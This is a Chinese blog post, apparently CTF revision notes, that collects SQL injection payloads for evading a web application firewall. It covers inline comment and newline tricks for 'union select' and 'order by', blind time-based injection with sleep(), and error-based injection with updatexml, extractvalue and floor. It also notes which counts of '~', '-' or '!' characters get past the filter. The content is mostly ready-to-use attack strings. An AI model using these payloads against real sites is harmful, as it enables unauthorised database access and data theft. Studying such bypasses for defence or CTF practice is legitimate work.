因为对上次比赛sql的题挺不甘心 所以又着重复习了一遍sql,并记录了平常绕waf的点
手工bypass要点 先通过破坏关键字测试出拦截规则 之后进行针对性绕过
前期详解:传送门
直接 and 1=1 直接就会被拦截 在数值的前面加特殊符号干扰匹配规则进行绕过 在这里使用取反符号’-‘或者取逻辑位非运算符号’~'进行绕过 and = && or = || %26 == &
通过破坏关键字测试出拦截的是 order by 这两个关键字的组合,单独的关键字不拦我们只需要干扰他的匹配即可。 在这里我测试使用的是内联注释和中间加特殊字符进行绕过
/*!order*/ by 3 order%0aby 4这两个也是单独一个不拦 组合起来就会触发拦截 这里给出几个绕过payload union select 绕过
' union/*!50000select*/1,2,3--+ ' union--+%0aselect 1,2,3--+ ' union%23%0a+all+select+1,2,3--+ '/*union select 1,2,3--+*/ '+"/*"union select 1,2,3"*/"--+ '+'/*'union select 1,2,3%23*/--+database() 函数+编码绕过
hex(database%0a()) hex(database/**/())基础语句
' and if((substr((select user()),1,1)>'a'),sleep(2),1)--+ select user()处可以替换成要执行的查询语句 如:select group_concat(table_name,0x7e) from information_schema.tables where table_schema = database() payload 1、内联注释绕过
'/*!50000and*/if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+
2、and后面可以接特殊的字符可以绕过包括不限于! ~ & -
加偶数个’~’,可以绕过 加奇数个’-‘可以绕过’ 加3/4/5数个’!'绕过
' and ~if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+ ' and !!!if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+ ' and ---if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+基础语句
‘ and substr((select database()),1,1)='s'--+ ' and length(database())>7--+payload 1、内联注释直接绕过 '/*!50000and*/ substr((select hex(database/**/())),1,1)>1 2、在substr函数前面加特殊符号绕过 加偶数个’~’,可以绕过 加 3 4 7 8 等数个’!'绕过 爆表 ' and~~hex(substr((select table_name /*!50000from*/ information_schema.tables where table_schema=database/**/() limit 1,1),1,1))>60--+
报错注入常用的一些函数 1、floor() select * from security.users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2、extractvalue() select * from security.users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3、updatexml() select * from security.users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 绕过payload
1、内联注释绕过
/*!%26%26*/ /*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1) /*!50000and*/ /*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)2、特殊连接符绕过 任意数个’~‘符号绕过 奇数个’-'绕过
and-/*!50000updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1) and~/*!50000updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1) and `updatexml`(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)这里借用一位老哥的fuzz脚本
参考文章 GOT IT! 更多绕waf需通过实践去探索
******************************************************